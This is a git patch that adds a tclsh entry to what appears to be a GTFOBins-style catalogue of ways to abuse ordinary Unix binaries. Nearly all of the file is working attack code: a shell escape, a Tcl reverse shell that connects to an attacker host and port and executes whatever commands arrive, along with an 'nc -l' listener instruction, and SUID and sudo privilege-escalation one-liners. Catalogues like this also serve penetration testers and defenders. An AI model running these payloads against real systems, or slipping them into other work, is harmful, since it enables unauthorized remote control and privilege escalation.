From 4ffb3b551f3ee22c4fc38b223d492dd82994f667 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:14:12 +0100 Subject: [PATCH] add data for tclsh --- data/tclsh.json | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 data/tclsh.json diff --git a/data/tclsh.json b/data/tclsh.json new file mode 100644 index 0000000..ed944a1 --- /dev/null +++ b/data/tclsh.json @@ -0,0 +1,25 @@ +{ + "functions": { + "shell": [ + { + "code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + } + ], + "non-interactive-reverse-shell": [ + { + "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", + "code": "echo 'set s [socket \"[host]\" [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh\n" + } + ], + "suid": [ + { + "code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr\n" + } + ], + "sudo": [ + { + "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + } + ] + } +} \ No newline at end of file